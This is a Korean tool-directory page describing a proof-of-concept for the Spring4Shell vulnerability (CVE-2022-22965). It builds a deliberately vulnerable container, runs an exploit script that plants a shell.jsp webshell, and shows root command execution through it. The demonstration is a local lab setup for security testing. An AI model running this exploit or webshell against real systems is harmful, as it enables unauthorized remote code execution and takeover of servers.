Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) 개념 증명 | Kitploit
도구/GitHubGitHub/sunnyvale-it/cve-2022-22965-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubsunnyvale-it/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) 개념 증명

저장소 보기
7323년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22965 (Spring4Shell) 개념 증명(PoC)

Spring Core에서 RCE(원격 코드 실행) 테스트

이미지 빌드

BuildKit 기반 빌드가 필요하므로 BuildKit을 활성화해야 합니다.

가장 쉬운 방법은 docker build 명령을 호출할 때 DOCKER_BUILDKIT=1 환경 변수를 설정하는 것입니다. 예를 들어 다음과 같습니다:

$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

또는 docker BuildKit을 기본적으로 활성화하려면 /etc/docker/daemon.json 의 데몬 구성에서 기능을 true로 설정하고 데몬을 다시 시작하십시오:

{ "features": { "buildkit": true } }

이렇게 하면 간단히 실행할 수 있습니다:

$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

취약한 애플리케이션 테스트

$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>

익스플로잇 실행

$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

모든 것이 제대로 진행되었다면 Tomcat HTTP 포트를 통해 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예를 들어 다음과 같습니다:

$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
도구 다운로드